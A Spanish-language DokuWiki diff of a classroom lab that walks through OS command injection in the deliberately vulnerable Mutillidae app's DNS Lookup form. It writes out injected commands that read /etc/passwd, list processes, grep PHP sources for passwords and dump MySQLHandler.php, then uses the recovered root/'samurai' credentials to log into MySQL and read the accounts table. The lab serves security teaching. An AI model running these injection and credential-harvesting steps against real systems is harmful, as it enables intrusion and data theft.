Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
sad:fedora14:p2 [2018/01/24 15:22] José Manuel Guallar |
sad:fedora14:p2 [2019/01/04 13:18] (actual) |
||
---|---|---|---|
Línea 32: | Línea 32: | ||
Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia | Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia | ||
+ | <code bash> | ||
[root@fedora14 estudiante]# service mysqld start | [root@fedora14 estudiante]# service mysqld start | ||
+ | </code> | ||
- | 02 | + | {{:sad:fedora:p2:02.png?500|}} |
voy al Backtrack y escribo en el navegador http://ip-fedora/mutillidae | voy al Backtrack y escribo en el navegador http://ip-fedora/mutillidae | ||
- | 03 | + | {{:sad:fedora:p2:03.png?500|}} |
- | vamos a ver como funciona DNS Lookup | + | Vamos a ver como funciona DNS Lookup |
- | vamos a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | + | Tenemos que ir a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup |
- | index13 | + | {{:sad:fedora:p2:index.13.jpg?500|}} |
El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS. | El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS. | ||
- | 04 | + | {{:sad:fedora:p2:04.png?500|}} |
Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando. | Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando. | ||
Línea 54: | Línea 56: | ||
El procedimiento de agregar un ";" después de lo que la aplicación espera, se llama comando fuzzing. | El procedimiento de agregar un ";" después de lo que la aplicación espera, se llama comando fuzzing. | ||
- | A continuación, ejecutará el comando "uname -a", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo | + | A continuación, ejecutará el comando "**uname -a**", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo |
+ | <code bash> | ||
www.colegiomontessori.com;uname -a | www.colegiomontessori.com;uname -a | ||
+ | </code> | ||
+ | {{:sad:fedora:p2:05.png?500|}} | ||
- | 05 | + | ====== Realizar Reconocimiento ====== |
- | + | ||
- | Realizar Reconocimiento | + | |
Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? | Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? | ||
- | Ahora vamos a ejecutar el "pwd" para mostrarnos el directorio de trabajo actual. | + | Ahora ejecutamos "pwd" para mostrarnos el directorio de trabajo actual. |
Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php | Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php | ||
- | entonces ejecutamos www.colegiomontessori.com; pwd | + | entonces ejecutamos |
+ | <code bash> | ||
+ | www.colegiomontessori.com; pwd | ||
+ | </code> | ||
+ | {{:sad:fedora:p2:06.png?500|}} | ||
+ | |||
+ | ====== Interrogar la aplicación dns-lookup.php ====== | ||
- | 06 | ||
- | Interrogar la aplicación dns-lookup.php | ||
Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. | Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. | ||
Línea 78: | Línea 85: | ||
Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. | Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. | ||
+ | <code bash> | ||
www.colegiomontessori.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)' | www.colegiomontessori.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)' | ||
+ | </code> | ||
- | 07 | + | {{:sad:fedora:p2:07.png?500|}} |
Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup | Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup | ||
- | + | Ahora vamos a descubrir la Base de Datos usando el fichero **/etc/passwd | |
- | Ahora vamos a descubrir la Base de Datos usando el fichero /etc/passwd | + | ** |
Vamos a buscar en /etc/passwd algunas de las siguientes palabras | Vamos a buscar en /etc/passwd algunas de las siguientes palabras | ||
- | postgres, sql, db2 y ora | + | **postgres, sql, db2 y ora** |
| | ||
- | para eso vamos a escribir | + | para eso escribirmos : |
+ | <code bash> | ||
www.colegiomontessori.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)' | www.colegiomontessori.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)' | ||
+ | </code> | ||
LOL LOL LOL nos dice que mysql es la base de datos que están usando | LOL LOL LOL nos dice que mysql es la base de datos que están usando | ||
- | 08 | + | {{:sad:fedora:p2:08.png?500|}} |
- | Vamos a descubrir el motor de base de datos con el comando "ps" | + | Vamos a descubrir cual es el motor de base de datos que se esta usando con el comando "ps" |
Usemos el comando "ps" para buscar las siguientes procesos: postgres, sql, db2 y ora. | Usemos el comando "ps" para buscar las siguientes procesos: postgres, sql, db2 y ora. | ||
- | Instrucciones: | ||
- | www.colegiomontessori.com; ps -eaf | egrep -i '(postgres | sql | db2 | ora)' | + | <code bash> |
+ | www.colegiomontessori.com; ps -eaf | egrep -i '(postgres|sql|db2|ora)' | ||
+ | </code> | ||
El mysqld (daemon) se está ejecutando. | El mysqld (daemon) se está ejecutando. | ||
- | 09 | + | {{:sad:fedora:p2:09.png?500|}} |
- | Ahora vamos a listar todos los scripts de php | + | ====== Listar todos los scripts de php ====== |
- | Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /var/www/html/mutillidae contiene un nombre de usuario y contraseña de la base de datos. Pero, primero enumera todos los scripts php. | + | |
+ | |||
+ | Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /var/www/html/mutillidae contiene un nombre de usuario y contraseña de la base de datos. | ||
+ | |||
+ | Pero, primero enumera todos los scripts php. | ||
+ | |||
+ | <code bash> | ||
www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | ||
+ | </code> | ||
- | 10 | + | {{:sad:fedora:p2:10.png?500|}} |
podemos ver una multitud de scripts para interrogar | podemos ver una multitud de scripts para interrogar | ||
Línea 121: | Línea 138: | ||
Buscar scripts php para la contraseña de cadena | Buscar scripts php para la contraseña de cadena | ||
- | Ahoravamos a buscar en los más de 900 scripts en PHP la palabra "contraseña" y "=". | + | Ahora buscamos en los más de 900 scripts en PHP la palabra "contraseña" y "=". |
+ | <code bash> | ||
www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "=" | www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "=" | ||
+ | </code> | ||
y observamos la respuesta 8-om(8-o | y observamos la respuesta 8-om(8-o | ||
- | 11 | + | {{:sad:fedora:p2:11.png?500|}} |
- | y ahora observamos que en MySQLHandler.php contiene la siguiente cadena: | + | y observamos que el fichero ** MySQLHandler.php** contiene la siguiente cadena: |
- | $mMySQLDatabasePassword = "samurai"; | + | |
- | 12 | + | <code mysql> |
+ | $mMySQLDatabasePassword = "samurai"; | ||
+ | </code> | ||
+ | {{:sad:fedora:p2:12.png?500|}} | ||
Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "samurai", que está en el fichero MYSQLHandler.php pero no sabemos el usuario que utiliza esa contraseña, por lo que vamos a buscar en MySQLHandler.php las palabras usuario (user) o login | Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "samurai", que está en el fichero MYSQLHandler.php pero no sabemos el usuario que utiliza esa contraseña, por lo que vamos a buscar en MySQLHandler.php las palabras usuario (user) o login | ||
+ | <code bash> | ||
www.colegiomontessori.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "=" | www.colegiomontessori.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "=" | ||
+ | </code> | ||
- | 13 | + | {{:sad:fedora:p2:13.png?500|}} |
Nos da mucha información, por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->mMySQLConnection _... | Nos da mucha información, por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->mMySQLConnection _... | ||
- | Mostrar MySQLHandler.php | + | **Mostrar MySQLHandler.php** |
Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. | Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. | ||
- | Es posible visualizar los contenidos del programa MySQLHandler.php, codificando las etiquetas "<? Php" y "?>". Estas etiquetas le dicen a Apache que ejecute un script php. | + | Es posible visualizar los contenidos del programa** MySQLHandler.php**, codificando las etiquetas "<? Php" y "?>". Estas etiquetas le dicen a Apache que ejecute un script php. |
Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<" a "& # 60;" y ">" a "& # 62;". | Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<" a "& # 60;" y ">" a "& # 62;". | ||
+ | <code bash> | ||
www.colegiomontessor.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\</g' | sed 's/>/\>/g' | www.colegiomontessor.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\</g' | sed 's/>/\>/g' | ||
+ | </code> | ||
- | 14 | + | {{:sad:fedora:p2:14.png?500|}} |
Aqui sacamos mucha mucha información LOLLOL por un lado "root" el usuario de la base de datos, por otro lado "samurai" la contraseña de la base de datos y por ultimo "nowasp" el nombre de la base de datos | Aqui sacamos mucha mucha información LOLLOL por un lado "root" el usuario de la base de datos, por otro lado "samurai" la contraseña de la base de datos y por ultimo "nowasp" el nombre de la base de datos | ||
+ | <code mysql> | ||
static public $mMySQLDatabaseUsername = "root"; | static public $mMySQLDatabaseUsername = "root"; | ||
Línea 162: | Línea 186: | ||
static public $mMySQLDatabaseName = "nowasp"; | static public $mMySQLDatabaseName = "nowasp"; | ||
+ | </code> | ||
- | Ahora podemos ir al terminal de nuestro Backtrack | + | Ahora podemos ir al terminal de nuestro **Backtrack** |
+ | <code bash> | ||
root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai | root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai | ||
mysql> show databases; | mysql> show databases; | ||
mysql> use nowasp; | mysql> use nowasp; | ||
+ | </code> | ||
+ | {{:sad:fedora:p2:15.png?500|}} | ||
- | 15 | + | ====== A nevegar por la tablas ====== |
- | Ahora vamos a nevegar por la tablas | ||
Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña | Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña | ||
- | 16 | + | {{:sad:fedora:p2:16.png?500|}} |
+ | <code mysql> | ||
mysql> select * from accounts; | mysql> select * from accounts; | ||
mysql> quit; | mysql> quit; | ||
+ | </code> | ||
+ | |||
+ | {{:sad:fedora:p2:17.png?500|}} | ||
- | 17 | ||
**''Print de pantalla a entregar''** | **''Print de pantalla a entregar''** |